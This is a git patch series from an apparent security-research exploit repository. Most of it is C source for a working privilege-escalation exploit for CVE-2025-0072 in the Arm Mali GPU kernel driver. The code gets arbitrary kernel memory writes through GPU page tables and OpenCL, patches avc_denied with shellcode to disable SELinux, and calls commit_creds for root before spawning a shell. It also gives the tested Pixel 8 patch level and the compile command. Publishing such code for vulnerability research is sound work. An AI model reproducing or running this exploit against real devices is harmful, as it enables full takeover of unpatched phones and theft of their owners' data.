KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 +#ifdef __cpluscplus +} +#endif + +#endif /* _UAPI_KBASE_IOCTL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c new file mode 100644 index 0000000..a012a31 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c @@ -0,0 +1,223 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include + +//From https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17 +#include "CL/cl.h" +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" +#include "mem_read_write.h" +#include "mempool_utils.h" +#include "firmware_offsets.h" + +#define MALI "/dev/mali0" + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2411; + +static uint64_t avc_deny = AVC_DENY_2411; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +int find_mali_fd() { + int test_fd = open("/dev/null", O_RDWR); + char file_path[256]; + char proc_string[256]; + for (int i = 3; i < test_fd; i++) { + sprintf(proc_string, "/proc/self/fd/%d", i); + if(readlink(proc_string, file_path, 256) > 0) { + if (strncmp(file_path, MALI, 10) == 0) { + close(test_fd); + return i; + } + } + } + close(test_fd); + return -1; +} + +int find_pgd(uint64_t* userio_addr) { + for (int i = 0; i < 0x2000/8; i++) { + uint64_t entry = *(userio_addr + i + 0x1000/8); + if ((entry & 0x443) == 0x443) { + LOG("found entry %lx at %d in page %d\n", entry, i%(0x1000/8), i/(0x1000/8)); + return i/(0x1000/8); + } + } + return -1; +} + +void queue_register(int fd, uint64_t queue_addr, uint32_t queue_pages) { + struct kbase_ioctl_cs_queue_register reg = {0}; + reg.buffer_gpu_addr = queue_addr; + reg.buffer_size = queue_pages; + if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_REGISTER, ®) < 0) { + err(1, "register queue failed\n"); + } +} + +uint64_t queue_bind(int fd, uint64_t queue_addr, uint8_t group_handle, uint8_t csi_index) { + union kbase_ioctl_cs_queue_bind bind = {0}; + bind.in.buffer_gpu_addr = queue_addr; + bind.in.group_handle = group_handle; + bind.in.csi_index = csi_index; + if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_BIND, &bind) < 0) { + err(1, "bind queue failed\n"); + } + return bind.out.mmap_handle; +} + +uint8_t kcpu_queue_new(int fd) { + struct kbase_ioctl_kcpu_queue_new queue_new = {0}; + if (ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_CREATE, &queue_new) < 0) { + err(1, "kcpu queue create failed\n"); + } + return queue_new.id; +} + +void write_shellcode(int mali_fd, uint64_t pgd, uint64_t* reserved, cl_command_queue command_queue, struct rw_mem_kernel* kernel, struct rw_mem_kernel* kernel32) { + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + uint64_t* overwrite_index = (uint64_t*)(pgd + OVERWRITE_INDEX * sizeof(uint64_t)); + *overwrite_index = avc_deny_addr; + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + write_func(mali_fd, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32); + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + *overwrite_index = sel_read_enforce_addr; + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32); + +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + fixup_root_shell(INIT_CRED_2411, COMMIT_CREDS_2411, SEL_READ_ENFORCE_2411, ADD_INIT_2411, ADD_COMMIT_2411, &(root_code[0])); + + cl_platform_id platform_id = NULL; + cl_device_id device_id = NULL; + cl_uint ret_num_devices; + cl_uint ret_num_platforms; + + cl_int ret = clGetPlatformIDs(1, &platform_id, &ret_num_platforms); + if (ret != CL_SUCCESS) { + err(1, "fail to get platform\n"); + } + + ret = clGetDeviceIDs( platform_id, CL_DEVICE_TYPE_DEFAULT, 1, + &device_id, &ret_num_devices); + if (ret != CL_SUCCESS) { + err(1, "fail to get Device ID\n"); + } + + cl_context context = clCreateContext( NULL, 1, &device_id, NULL, NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "fail to create context\n"); + } + + cl_command_queue command_queue = clCreateCommandQueueWithProperties(context, device_id, NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "fail to create command_queue\n"); + } + + int mali_fd = find_mali_fd(); + + void* gpu_addr = map_gpu(mali_fd, 1, 1, false, 0); + LOG("gpu_addr %lx\n", (uint64_t)gpu_addr); + queue_register(mali_fd, (uint64_t)gpu_addr, 0x1000); + union kbase_ioctl_cs_queue_group_create gc = {0}; + if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &gc) < 0) { + err(1, "Failed to create group\n"); + } + uint8_t group_handle = gc.out.group_handle; + uint64_t cookie = queue_bind(mali_fd, (uint64_t)gpu_addr, group_handle, 0); + LOG("group_handle %d cookie %lx\n", group_handle, cookie); + uint64_t* queue_userio = (uint64_t*)mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookie); + if (queue_userio == MAP_FAILED) { + err(1, "mmap failed\n"); + } + struct kbase_ioctl_cs_queue_group_term gt = {0}; + gt.group_handle = group_handle; + if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE, >) < 0) { + err(1, "Failed to terminate group\n"); + } + union kbase_ioctl_cs_queue_group_create gc2 = {0}; + if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &gc2) < 0) { + err(1, "Failed to create group\n"); + } + group_handle = gc2.out.group_handle; + cookie = queue_bind(mali_fd, (uint64_t)gpu_addr, group_handle, 0); + LOG("group_handle %d cookie %lx\n", group_handle, cookie); + uint64_t* queue_userio2 = (uint64_t*)mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookie); + if (queue_userio2 == MAP_FAILED) { + err(1, "mmap2 failed\n"); + } + + uint64_t y0 = *(queue_userio2 + 0x1000/8); + + + reserve_pages(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + uint64_t drain = drain_mem_pool(mali_fd); + release_mem_pool(mali_fd, drain); + + munmap(queue_userio, 0x3000); + map_reserved(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + int idx = find_pgd(queue_userio2); + if (idx == -1) { + err(1, "Cannot find page table entry\n"); + } + + struct rw_mem_kernel kernel = create_rw_mem(context, &device_id, true); + struct rw_mem_kernel kernel32 = create_rw_mem(context, &device_id, false); + uint64_t write_addr = 0x1000 + (uint64_t)queue_userio2 + 0x1000; + write_shellcode(mali_fd, write_addr, &(reserved[0]), command_queue, &kernel, &kernel32); + LOG("run enforce\n"); + run_enforce(); + LOG("clean up\n"); + uint64_t* cleanup_addr = (uint64_t*)(write_addr + OVERWRITE_INDEX * sizeof(uint64_t)); + uint64_t invalid = 2; + *cleanup_addr = invalid; + ret = clFinish(command_queue); + releaseKernel(&kernel); + releaseKernel(&kernel32); + ret = clReleaseCommandQueue(command_queue); + ret = clReleaseContext(context); + system("sh"); + } diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c b/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c new file mode 100644 index 0000000..34b430a --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c @@ -0,0 +1,264 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" + +#include "mem_read_write.h" +#include "mempool_utils.h" +#include "firmware_offsets.h" + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +static inline uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +static inline uint32_t hi32(uint64_t x) { + return x >> 32; +} + +static uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +static uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +struct rw_mem_kernel create_rw_mem(cl_context context, cl_device_id* device_id, bool is64) { + int ret = 0; + + const char* source_str64 = + "__kernel void rw_mem(__global unsigned long *va, __global unsigned long *in_out, __global unsigned long *flag) {" + "size_t idx = get_global_id(0);" + "if (flag[idx]) {" + " __global unsigned long *addr = (__global unsigned long*)(va[idx]);" + " addr[0] = in_out[idx];" + "} else {" + " __global unsigned long *addr = (__global unsigned long *)(va[idx]);" + " in_out[idx] = addr[0];" + "}" +"};"; + + const char* source_str32 = + "__kernel void rw_mem(__global unsigned long *va, __global unsigned long *in_out, __global unsigned long *flag) {" + "size_t idx = get_global_id(0);" + "if (flag[idx]) {" + " __global unsigned int *addr = (__global unsigned int*)(va[idx]);" + " addr[0] = (unsigned int)(in_out[idx]);" + "} else {" + " __global unsigned int *addr = (__global unsigned int *)(va[idx]);" + " in_out[idx] = addr[0];" + "}" +"};"; + + const char* source_str = is64 ? source_str64 : source_str32; + + size_t source_size = strlen(source_str); + + cl_mem va = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create va buffer\n"); + } + cl_mem in_out = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create in_out buffer\n"); + } + cl_mem flag = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create flag buffer\n"); + } + + cl_program program = clCreateProgramWithSource(context, 1, (const char**)(&source_str), (const size_t*)(&source_size), &ret); + ret = clBuildProgram(program, 1, device_id, NULL, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to create program\n"); + } + + cl_kernel kernel = clCreateKernel(program, "rw_mem", &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create kernel %d\n", ret); + } + ret = clSetKernelArg(kernel, 0, sizeof(cl_mem), (void *)&va); + ret = clSetKernelArg(kernel, 1, sizeof(cl_mem), (void *)&in_out); + ret = clSetKernelArg(kernel, 2, sizeof(cl_mem), (void *)&flag); + if (ret != CL_SUCCESS) { + err(1, "Failed to set kernel arg\n"); + } + struct rw_mem_kernel out = {0}; + out.va = va; + out.in_out = in_out; + out.flag = flag; + out.kernel = kernel; + out.program = program; + return out; +} + +void write_to(int mali_fd, uint64_t* gpu_addr, uint64_t* value, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t write = 1; + int ret = 0; + ret = clEnqueueWriteBuffer(command_queue, kernel->va, CL_TRUE, 0, sizeof(uint64_t), gpu_addr, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); + + if (ret != CL_SUCCESS) { + err(1, "Failed to write to buffer\n"); + } + + size_t global_work_size = 1; + size_t local_work_size = 1; + ret = clEnqueueNDRangeKernel(command_queue, kernel->kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to enqueue kernel\n"); + } + if (clFlush(command_queue) != CL_SUCCESS) { + err(1, "Falied to flush queue in write_to\n"); + } + usleep(10000); +} + + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, cl_command_queue command_queue, struct rw_mem_kernel* kernel32) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + reserved_size * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr && overwrite_addr >= base && overwrite_addr < end) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + uint64_t this_addr = overwrite_addr + func_offset + code * 4; + uint64_t this_code = shellcode[code]; + write_to(mali_fd, &this_addr, &this_code, command_queue, kernel32); + } + usleep(300000); + } + } + } +} + +uint64_t read_from(int mali_fd, uint64_t* gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t read = 0; + int ret = 0; + ret = clEnqueueWriteBuffer(command_queue, kernel->va, CL_TRUE, 0, sizeof(uint64_t), gpu_addr, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &read, 0, NULL, NULL); + + if (ret != CL_SUCCESS) { + err(1, "Failed to write to buffer\n"); + } + + size_t global_work_size = 1; + size_t local_work_size = 1; + ret = clEnqueueNDRangeKernel(command_queue, kernel->kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to enqueue kernel\n"); + } + uint64_t out = 0; + if (clEnqueueReadBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), &out, 0, NULL, NULL) != CL_SUCCESS) { + err(1, "Failed to read result\n"); + } + if (clFlush(command_queue) != CL_SUCCESS) { + err(1, "Falied to flush queue in write_to\n"); + } + usleep(10000); + return out; +} + +void releaseKernel(struct rw_mem_kernel* kernel) { + clReleaseKernel(kernel->kernel); + clReleaseProgram(kernel->program); + clReleaseMemObject(kernel->va); + clReleaseMemObject(kernel->in_out); + clReleaseMemObject(kernel->flag); + memset(kernel, 0, sizeof(struct rw_mem_kernel)); +} + +void cleanup(int mali_fd, uint64_t pgd, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t addr = pgd + OVERWRITE_INDEX * sizeof(uint64_t); + uint64_t invalid = 2; + write_to(mali_fd, &addr, &invalid, command_queue, kernel); +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h new file mode 100644 index 0000000..1906051 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h @@ -0,0 +1,41 @@ +#ifndef MEM_READ_WRITE_H +#define MEM_READ_WRITE_H + +#include "CL/cl.h" +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" + +#define KERNEL_BASE 0x80000000 + +#define PAGE_SHIFT 12 + +#define OVERWRITE_INDEX 256 + +struct rw_mem_kernel { + cl_mem va; + cl_mem in_out; + cl_mem flag; + cl_kernel kernel; + cl_program program; +}; + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group); + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code); + +void write_to(int mali_fd, uint64_t* gpu_addr, uint64_t* value, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +uint64_t read_from(int mali_fd, uint64_t* gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, cl_command_queue command_queue, struct rw_mem_kernel* kernel32); + +void cleanup(int mali_fd, uint64_t pgd, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +struct rw_mem_kernel create_rw_mem(cl_context context, cl_device_id* device_id, bool is64); + +void releaseKernel(struct rw_mem_kernel* kernel); + +int run_enforce(); + +#endif diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c b/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c new file mode 100644 index 0000000..c96b25c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include + +#include "mempool_utils.h" + +#define POOL_SIZE 16384 + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed %d\n", i); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h new file mode 100644 index 0000000..9aa4caa --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h @@ -0,0 +1,20 @@ +#ifndef MEMPOOL_UTILS_H +#define MEMPOOL_UTILS_H + +#include +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" +#include "log_utils.h" + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc); + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +uint64_t drain_mem_pool(int mali_fd); + +void release_mem_pool(int mali_fd, uint64_t drain); + +#endif From 00baa984d777daf3212523465d2e2c6df9918470 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 23 May 2025 10:41:01 +0100 Subject: [PATCH 121/140] Update SecurityExploits/Android/Mali/CVE-2025-0072/README.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- SecurityExploits/Android/Mali/CVE-2025-0072/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/README.md b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md index 8d09481..d883452 100644 --- a/SecurityExploits/Android/Mali/CVE-2025-0072/README.md +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md @@ -2,7 +2,7 @@ The write up can be found [here](https://github.blog/2025-05-23-bypassing-mte-with-cve-2025-0072). This is a bug in the Arm Mali kernel driver that I reported in December 2024. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. -The exploit is tested on the Google Pixel 8 with the Novmember 2024 patch (`AP3A.241105.007`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: +The exploit is tested on the Google Pixel 8 with the November 2024 patch (`AP3A.241105.007`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: ``` android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_userio.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_userio From 8d272116e46270d9b6687844406d69f2a14319ed Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 23 May 2025 10:51:07 +0100 Subject: [PATCH 122/140] Update blog link --- SecurityExploits/Android/Mali/CVE-2025-0072/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/README.md b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md index d883452..e0662bd 100644 --- a/SecurityExploits/Android/Mali/CVE-2025-0072/README.md +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md @@ -1,6 +1,6 @@ ## Exploit for CVE-2025-0072 -The write up can be found [here](https://github.blog/2025-05-23-bypassing-mte-with-cve-2025-0072). This is a bug in the Arm Mali kernel driver that I reported in December 2024. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. +The write up can be found [here](https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072). This is a bug in the Arm Mali kernel driver that I reported in December 2024. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is tested on the Google Pixel 8 with the November 2024 patch (`AP3A.241105.007`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: From 7a9c6b07f4bcdabf5028aa454dabafb8d60268d0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 2 Jul 2025 12:09:47 +0100 Subject: [PATCH 123/140] PoC for poppler CVE-2025-52886 --- .../poppler-CVE-2025-52886/.gitignore | 1 + .../poppler-CVE-2025-52886/Makefile | 2 + .../poppler-CVE-2025-52886/README.md | 25 + .../poppler-CVE-2025-52886/pdfgen.cpp | 626 ++++++++++++++++++ .../poppler-CVE-2025-52886/utils.cpp | 147 ++++ .../poppler-CVE-2025-52886/utils.h | 74 +++ 6 files changed, 875 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp 